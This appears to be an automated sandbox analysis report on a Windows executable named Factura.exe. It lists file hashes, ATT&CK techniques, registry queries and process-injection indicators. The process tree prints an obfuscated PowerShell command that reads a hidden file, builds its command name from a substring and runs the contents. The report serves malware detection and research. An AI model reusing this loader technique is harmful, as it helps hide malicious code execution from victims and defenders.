c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-12-2024 13:11

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General

Target

Factura.exe
Size

520KB
MD5

bcda7dfe98c66a21374a3eac66703f68
SHA1

e2113b5764f2fc16c4e1fcae6a214da4d4bb37eb
SHA256

c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554
SHA512

4a3d54636e3c773b11de017f956a2d2301387b09ea72a3e5517e1596caecd8b750000debfdea216a04f11eb868306c280fc1936f5fee200cf95a62686fbc326d
SSDEEP

12288:aIC0V1TyykYDamTi6kSywWmM7lEFvVPppyoS/B3FYA1Y+:MW1TyykYWmTi6XywWZEFZmz/lJV

Score

3^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Factura.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 3040	2104	Factura.exe	30
PID 2104 wrote to memory of 3040	2104	Factura.exe	30
PID 2104 wrote to memory of 3040	2104	Factura.exe	30
PID 2104 wrote to memory of 3040	2104	Factura.exe	30

C:\Users\Admin\AppData\Local\Temp\Factura.exe
"C:\Users\Admin\AppData\Local\Temp\Factura.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Heksekedlers=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\postarmistice\monospermy\brevbombe\Wynds\Geobotanisk.Con';$Escapisms=$Heksekedlers.SubString(73017,3);.$Escapisms($Heksekedlers)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3040-7-0x0000000073A81000-0x0000000073A82000-memory.dmp

Filesize
4KB

Download
memory/3040-8-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-9-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-10-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-11-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download
memory/3040-12-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download